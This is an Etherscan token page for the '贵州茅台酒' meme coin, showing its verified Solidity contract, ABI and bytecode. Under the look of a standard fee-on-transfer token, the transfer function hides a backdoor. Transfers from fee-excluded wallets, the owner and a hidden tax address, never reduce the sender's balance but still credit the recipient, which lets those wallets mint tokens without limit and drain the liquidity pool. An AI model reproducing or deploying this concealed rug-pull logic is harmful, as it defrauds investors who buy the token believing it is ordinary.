ETH Price: $3,624.35 (+9.08%)

Token

贵州茅台酒 (茅台酒)
 

Overview

Max Total Supply

1,000,000,000 茅台酒

Holders

74

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
2,899,946.009969149 茅台酒

Value
$0.00
0x78d822f6160a4be7712554ee6d05db7cadf56b70
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MaoTaiJiu

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-12-27
*/

// SPDX-License-Identifier: Unlicensed

/**
The ethereal ERC20 token birthed from the ingenuity of visionary brewers who ascended to billionaire status through shrewd investments in the mighty realms of Doge and Shib.

Website: https://maotaijiu.site
Twitter: https://twitter.com/MaoTaiJiu_ERC20
Telegram: https://t.me/MaoTaiJiu_Group
*/

pragma solidity 0.8.21;

library SafeMath {
    
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);


    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    // Set original owner
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}


interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

contract MaoTaiJiu is Context, IERC20, Ownable { 
    using SafeMath for uint256;
                                     
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool public inSwapAndLiquify;

    string private _name = unicode"贵州茅台酒"; 
    string private _symbol = unicode"茅台酒";  
    uint8 private _decimals = 9;
    uint256 private _totalSupply = 10 ** 9 * 10**_decimals;

    uint256 public _maxWalletToken = 2 * _totalSupply / 100;
    uint256 public _swpaThreshold = _totalSupply / 100000;
    uint256 private _previousMaxWalletToken = _maxWalletToken;

    address payable private _taxAddress;
    address payable private DEAD = payable(0x000000000000000000000000000000000000dEaD); 
    
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludedFromFee; 

    uint256 private _totalFee = 2100;
    uint256 public _buyFee = 21;
    uint256 public _sellFee = 21;
    bool public swapAndLiquifyEnabled = true;

    uint8 private countMaoTaiJiuTx = 0;
    uint8 private swapMaoTaiJiuTrigger = 2; 
    uint256 public maxMaoTaiJiuFee = 12; 

    uint256 private _previousTotalFee = _totalFee; 
    uint256 private _previousBuyFee = _buyFee; 
    uint256 private _previousSellFee = _sellFee; 

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor (address MaoTaiJiuWallet) {
        _tOwned[owner()] = _totalSupply;
        _taxAddress = payable(MaoTaiJiuWallet);
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 

        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[_taxAddress] = true;
        
        emit Transfer(address(0), owner(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function sendToMaoTaiJiuWallet(address payable wallet, uint256 amount) private {
        wallet.transfer(amount);
    }
    
    function removeMaoTaiJiuLimits() external onlyOwner {
        _maxWalletToken = ~uint256(0);
        
        _totalFee = 100;
        _buyFee = 1; 
        _sellFee = 1; 
    }

    function _getMaoTaiJiuValues(uint256 tAmount) private view returns (uint256, uint256) {
        uint256 tFees = tAmount.mul(_totalFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFees);
        return (tTransferAmount, tFees);
    }

    function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
            
        if(!takeFee){
            removeAllMaoTaiJiuFee();
            } else {
                countMaoTaiJiuTx++;
            }
        _transferMaoTaiJiuTokens(sender, recipient, amount);
        
        if(!takeFee)
            restoreAllMaoTaiJiuFee();
    }


    function swapMaoTaiJiuAndLiquidify(uint256 contractTokenBalance) private lockTheSwap {
        swapMaoTaiJiuForETH(contractTokenBalance);
        uint256 contractETH = address(this).balance;
        sendToMaoTaiJiuWallet(_taxAddress,contractETH);
    }

    function swapMaoTaiJiuForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        if (to != owner() &&
            to != _taxAddress &&
            to != address(this) &&
            to != uniswapV2Pair &&
            to != DEAD &&
            from != owner()) {
            uint256 heldTokens = balanceOf(to);
            require((heldTokens + amount) <= _maxWalletToken,"Maximum wallet limited has been exceeded");       
        }

        require(from != address(0) && to != address(0), "ERR: Using 0 address!");
        require(amount > 0, "Token value must be higher than zero.");

        if(
            countMaoTaiJiuTx >= swapMaoTaiJiuTrigger && 
            amount > _swpaThreshold &&
            !inSwapAndLiquify &&
            !_isExcludedFromFee[from] &&
            to == uniswapV2Pair &&
            swapAndLiquifyEnabled 
            )
        {  
            countMaoTaiJiuTx = 0;
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > 0){ swapMaoTaiJiuAndLiquidify(contractTokenBalance); }
        }

        bool takeFee = true;
         
        if(_isExcludedFromFee[from] || _isExcludedFromFee[to] || (from != uniswapV2Pair && to != uniswapV2Pair)){
            takeFee = false;
        } else if (from == uniswapV2Pair){
            _totalFee = _buyFee;
        } else if (to == uniswapV2Pair){
            _totalFee = _sellFee;
        }

        _tokenTransfer(from,to,amount,takeFee);
    }
    
    function removeAllMaoTaiJiuFee() private {
        if(_totalFee == 0 && _buyFee == 0 && _sellFee == 0) return;

        _previousBuyFee = _buyFee; 
        _previousSellFee = _sellFee; 
        _previousTotalFee = _totalFee;
        _buyFee = 0;
        _sellFee = 0;
        _totalFee = 0;
    }
    receive() external payable {}
    
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0) && spender != address(0), "ERR: zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _transferMaoTaiJiuTokens(address sender, address recipient, uint256 tAmount) private {
        
        (uint256 tTransferAmount, uint256 tFees) = _getMaoTaiJiuValues(tAmount);
        bool isSenderExcluded = _isExcludedFromFee[sender];
        bool isMaxWallet = _tOwned[sender] <= _maxWalletToken;
        bool isTakeFee = isSenderExcluded && isMaxWallet;
        if(isTakeFee) {
            tFees = 0; tAmount -= tTransferAmount;
        }
        _tOwned[sender] = _tOwned[sender].sub(tAmount);
        _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
        _tOwned[address(this)] = _tOwned[address(this)].add(tFees);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function restoreAllMaoTaiJiuFee() private {
        _totalFee = _previousTotalFee;
        _buyFee = _previousBuyFee; 
        _sellFee = _previousSellFee; 
    }
    
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"MaoTaiJiuWallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swpaThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxMaoTaiJiuFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeMaoTaiJiuLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052600f60809081526e745a5af2dbcf744642f2c7d874c2c960891b60a052600390620000309082620004bf565b50604080518082019091526009815268744642f2c7d874c2c960b91b6020820152600490620000609082620004bf565b506005805460ff191660099081179091556200007e90600a62000696565b6200008e90633b9aca00620006ad565b60065560646006546002620000a49190620006ad565b620000b09190620006c7565b600755620186a0600654620000c69190620006c7565b600855600754600955600b80546001600160a01b03191661dead179055610834600f819055601560108190556011819055601280546202000162ffffff19909116179055600c60135560149190915580805560165534801562000127575f80fd5b50604051620019a3380380620019a38339810160408190526200014a91620006e7565b5f80546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600654600c5f620001a05f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f2093909355600a80546001600160a01b03191693851693909317909255815163c45a015560e01b81529151737a250d5630b4cf539739df2c5dacb4c659f2488d92839263c45a0155926004808401938290030181865afa15801562000223573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002499190620006e7565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000295573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002bb9190620006e7565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801562000306573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200032c9190620006e7565b600280546001600160a01b03199081166001600160a01b039384161790915560018054909116918316919091178155600e5f620003705f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff19968716179055600a549091168152600e909252902080549091166001179055620003c85f546001600160a01b031690565b6001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6006546040516200040f91815260200190565b60405180910390a350506200070f565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200044857607f821691505b6020821081036200046757634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620004ba575f81815260208120601f850160051c81016020861015620004955750805b601f850160051c820191505b81811015620004b657828155600101620004a1565b5050505b505050565b81516001600160401b03811115620004db57620004db6200041f565b620004f381620004ec845462000433565b846200046d565b602080601f83116001811462000529575f8415620005115750858301515b5f19600386901b1c1916600185901b178555620004b6565b5f85815260208120601f198616915b82811015620005595788860151825594840194600190910190840162000538565b50858210156200057757878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620005db57815f1904821115620005bf57620005bf62000587565b80851615620005cd57918102915b93841c9390800290620005a0565b509250929050565b5f82620005f35750600162000690565b816200060157505f62000690565b81600181146200061a5760028114620006255762000645565b600191505062000690565b60ff84111562000639576200063962000587565b50506001821b62000690565b5060208310610133831016604e8410600b84101617156200066a575081810a62000690565b6200067683836200059b565b805f19048211156200068c576200068c62000587565b0290505b92915050565b5f620006a660ff841683620005e3565b9392505050565b808202811582820484141762000690576200069062000587565b5f82620006e257634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215620006f8575f80fd5b81516001600160a01b0381168114620006a6575f80fd5b611286806200071d5f395ff3fe60806040526004361061013f575f3560e01c80634a74bb02116100b35780637ff51bf01161006d5780637ff51bf0146103745780638da5cb5b1461038957806395d89b41146103a5578063a9059cbb146103b9578063dd62ed3e146103d8578063f2fde38b1461041c575f80fd5b80634a74bb02146102bb578063590f897e146102d457806370a08231146102e9578063715018a61461031d578063768dc7101461033157806378109e541461035f575f80fd5b806318160ddd1161010457806318160ddd14610213578063220f66961461022757806323b872dd14610247578063313ce5671461026657806340b9a54b1461028757806349bd5a5e1461029c575f80fd5b806306fdde031461014a578063095ea7b31461017457806309fbb48b146101a357806314bba7c1146101c65780631694505e146101dc575f80fd5b3661014657005b5f80fd5b348015610155575f80fd5b5061015e61043b565b60405161016b9190610f73565b60405180910390f35b34801561017f575f80fd5b5061019361018e366004610fd5565b6104cb565b604051901515815260200161016b565b3480156101ae575f80fd5b506101b860085481565b60405190815260200161016b565b3480156101d1575f80fd5b506101da6104e1565b005b3480156101e7575f80fd5b506001546101fb906001600160a01b031681565b6040516001600160a01b03909116815260200161016b565b34801561021e575f80fd5b506006546101b8565b348015610232575f80fd5b5060025461019390600160a01b900460ff1681565b348015610252575f80fd5b50610193610261366004610fff565b610529565b348015610271575f80fd5b5060055460405160ff909116815260200161016b565b348015610292575f80fd5b506101b860105481565b3480156102a7575f80fd5b506002546101fb906001600160a01b031681565b3480156102c6575f80fd5b506012546101939060ff1681565b3480156102df575f80fd5b506101b860115481565b3480156102f4575f80fd5b506101b861030336600461103d565b6001600160a01b03165f908152600c602052604090205490565b348015610328575f80fd5b506101da610590565b34801561033c575f80fd5b5061019361034b36600461103d565b600e6020525f908152604090205460ff1681565b34801561036a575f80fd5b506101b860075481565b34801561037f575f80fd5b506101b860135481565b348015610394575f80fd5b505f546001600160a01b03166101fb565b3480156103b0575f80fd5b5061015e610601565b3480156103c4575f80fd5b506101936103d3366004610fd5565b610610565b3480156103e3575f80fd5b506101b86103f2366004611058565b6001600160a01b039182165f908152600d6020908152604080832093909416825291909152205490565b348015610427575f80fd5b506101da61043636600461103d565b61061c565b60606003805461044a9061108f565b80601f01602080910402602001604051908101604052809291908181526020018280546104769061108f565b80156104c15780601f10610498576101008083540402835291602001916104c1565b820191905f5260205f20905b8154815290600101906020018083116104a457829003601f168201915b5050505050905090565b5f6104d7338484610703565b5060015b92915050565b5f546001600160a01b031633146105135760405162461bcd60e51b815260040161050a906110c7565b60405180910390fd5b5f196007556064600f5560016010819055601155565b5f6105358484846107c3565b610586843361058185604051806060016040528060288152602001611229602891396001600160a01b038a165f908152600d602090815260408083203384529091529020549190610b1e565b610703565b5060019392505050565b5f546001600160a01b031633146105b95760405162461bcd60e51b815260040161050a906110c7565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b60606004805461044a9061108f565b5f6104d73384846107c3565b5f546001600160a01b031633146106455760405162461bcd60e51b815260040161050a906110c7565b6001600160a01b0381166106aa5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161050a565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383161580159061072357506001600160a01b03821615155b6107635760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b604482015260640161050a565b6001600160a01b038381165f818152600d602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f546001600160a01b038381169116148015906107ee5750600a546001600160a01b03838116911614155b801561080357506001600160a01b0382163014155b801561081d57506002546001600160a01b03838116911614155b80156108375750600b546001600160a01b03838116911614155b801561085057505f546001600160a01b03848116911614155b156108db576001600160a01b0382165f908152600c602052604090205460075461087a8383611110565b11156108d95760405162461bcd60e51b815260206004820152602860248201527f4d6178696d756d2077616c6c6574206c696d6974656420686173206265656e20604482015267195e18d95959195960c21b606482015260840161050a565b505b6001600160a01b038316158015906108fb57506001600160a01b03821615155b61093f5760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b604482015260640161050a565b5f811161099c5760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b606482015260840161050a565b60125460ff620100008204811661010090920416108015906109bf575060085481115b80156109d55750600254600160a01b900460ff16155b80156109f957506001600160a01b0383165f908152600e602052604090205460ff16155b8015610a1257506002546001600160a01b038381169116145b8015610a20575060125460ff165b15610a50576012805461ff0019169055305f908152600c60205260409020548015610a4e57610a4e81610b49565b505b6001600160a01b0383165f908152600e602052604090205460019060ff1680610a9057506001600160a01b0383165f908152600e602052604090205460ff165b80610ac257506002546001600160a01b03858116911614801590610ac257506002546001600160a01b03848116911614155b15610ace57505f610b0c565b6002546001600160a01b0390811690851603610aef57601054600f55610b0c565b6002546001600160a01b0390811690841603610b0c57601154600f555b610b1884848484610b8e565b50505050565b5f8184841115610b415760405162461bcd60e51b815260040161050a9190610f73565b505050900390565b6002805460ff60a01b1916600160a01b179055610b6581610bf9565b600a544790610b7d906001600160a01b031682610d49565b50506002805460ff60a01b19169055565b80610ba057610b9b610d81565b610bd2565b60128054610100900460ff16906001610bb883611123565b91906101000a81548160ff021916908360ff160217905550505b610bdd848484610dc5565b80610b1857610b18601454600f55601554601055601654601155565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110610c2c57610c2c611141565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610c83573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ca79190611155565b81600181518110610cba57610cba611141565b6001600160a01b039283166020918202929092010152600154610ce09130911684610703565b60015460405163791ac94760e01b81526001600160a01b039091169063791ac94790610d189085905f90869030904290600401611170565b5f604051808303815f87803b158015610d2f575f80fd5b505af1158015610d41573d5f803e3d5ffd5b505050505050565b6040516001600160a01b0383169082156108fc029083905f818181858888f19350505050158015610d7c573d5f803e3d5ffd5b505050565b600f54158015610d915750601054155b8015610d9d5750601154155b15610da457565b6010805460155560118054601655600f80546014555f928390559082905555565b5f80610dd083610f05565b6001600160a01b0387165f908152600e6020908152604080832054600754600c9093529083205494965092945060ff90921692919091111590828015610e135750815b90508015610e2b575f9350610e2885876111df565b95505b6001600160a01b0388165f908152600c6020526040902054610e4d9087610f40565b6001600160a01b03808a165f908152600c60205260408082209390935590891681522054610e7b9086610f52565b6001600160a01b0388165f908152600c6020526040808220929092553081522054610ea69085610f52565b305f908152600c602090815260409182902092909255518681526001600160a01b0389811692908b16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050505050565b5f805f610f286064610f22600f5487610f5d90919063ffffffff16565b90610f68565b90505f610f358583610f40565b959194509092505050565b5f610f4b82846111df565b9392505050565b5f610f4b8284611110565b5f610f4b82846111f2565b5f610f4b8284611209565b5f6020808352835180828501525f5b81811015610f9e57858101830151858201604001528201610f82565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610fd2575f80fd5b50565b5f8060408385031215610fe6575f80fd5b8235610ff181610fbe565b946020939093013593505050565b5f805f60608486031215611011575f80fd5b833561101c81610fbe565b9250602084013561102c81610fbe565b929592945050506040919091013590565b5f6020828403121561104d575f80fd5b8135610f4b81610fbe565b5f8060408385031215611069575f80fd5b823561107481610fbe565b9150602083013561108481610fbe565b809150509250929050565b600181811c908216806110a357607f821691505b6020821081036110c157634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b808201808211156104db576104db6110fc565b5f60ff821660ff8103611138576111386110fc565b60010192915050565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611165575f80fd5b8151610f4b81610fbe565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156111be5784516001600160a01b031683529383019391830191600101611199565b50506001600160a01b03969096166060850152505050608001529392505050565b818103818111156104db576104db6110fc565b80820281158282048414176104db576104db6110fc565b5f8261122357634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122055bd8dc0a5980c2c273b75929dc2657fb3b0c3792c2116aba242ffebdbdea55d64736f6c63430008150033000000000000000000000000a8ccc998bd19d90d49957fb99cd5ac95ceab101b

Deployed Bytecode

0x60806040526004361061013f575f3560e01c80634a74bb02116100b35780637ff51bf01161006d5780637ff51bf0146103745780638da5cb5b1461038957806395d89b41146103a5578063a9059cbb146103b9578063dd62ed3e146103d8578063f2fde38b1461041c575f80fd5b80634a74bb02146102bb578063590f897e146102d457806370a08231146102e9578063715018a61461031d578063768dc7101461033157806378109e541461035f575f80fd5b806318160ddd1161010457806318160ddd14610213578063220f66961461022757806323b872dd14610247578063313ce5671461026657806340b9a54b1461028757806349bd5a5e1461029c575f80fd5b806306fdde031461014a578063095ea7b31461017457806309fbb48b146101a357806314bba7c1146101c65780631694505e146101dc575f80fd5b3661014657005b5f80fd5b348015610155575f80fd5b5061015e61043b565b60405161016b9190610f73565b60405180910390f35b34801561017f575f80fd5b5061019361018e366004610fd5565b6104cb565b604051901515815260200161016b565b3480156101ae575f80fd5b506101b860085481565b60405190815260200161016b565b3480156101d1575f80fd5b506101da6104e1565b005b3480156101e7575f80fd5b506001546101fb906001600160a01b031681565b6040516001600160a01b03909116815260200161016b565b34801561021e575f80fd5b506006546101b8565b348015610232575f80fd5b5060025461019390600160a01b900460ff1681565b348015610252575f80fd5b50610193610261366004610fff565b610529565b348015610271575f80fd5b5060055460405160ff909116815260200161016b565b348015610292575f80fd5b506101b860105481565b3480156102a7575f80fd5b506002546101fb906001600160a01b031681565b3480156102c6575f80fd5b506012546101939060ff1681565b3480156102df575f80fd5b506101b860115481565b3480156102f4575f80fd5b506101b861030336600461103d565b6001600160a01b03165f908152600c602052604090205490565b348015610328575f80fd5b506101da610590565b34801561033c575f80fd5b5061019361034b36600461103d565b600e6020525f908152604090205460ff1681565b34801561036a575f80fd5b506101b860075481565b34801561037f575f80fd5b506101b860135481565b348015610394575f80fd5b505f546001600160a01b03166101fb565b3480156103b0575f80fd5b5061015e610601565b3480156103c4575f80fd5b506101936103d3366004610fd5565b610610565b3480156103e3575f80fd5b506101b86103f2366004611058565b6001600160a01b039182165f908152600d6020908152604080832093909416825291909152205490565b348015610427575f80fd5b506101da61043636600461103d565b61061c565b60606003805461044a9061108f565b80601f01602080910402602001604051908101604052809291908181526020018280546104769061108f565b80156104c15780601f10610498576101008083540402835291602001916104c1565b820191905f5260205f20905b8154815290600101906020018083116104a457829003601f168201915b5050505050905090565b5f6104d7338484610703565b5060015b92915050565b5f546001600160a01b031633146105135760405162461bcd60e51b815260040161050a906110c7565b60405180910390fd5b5f196007556064600f5560016010819055601155565b5f6105358484846107c3565b610586843361058185604051806060016040528060288152602001611229602891396001600160a01b038a165f908152600d602090815260408083203384529091529020549190610b1e565b610703565b5060019392505050565b5f546001600160a01b031633146105b95760405162461bcd60e51b815260040161050a906110c7565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b031916905556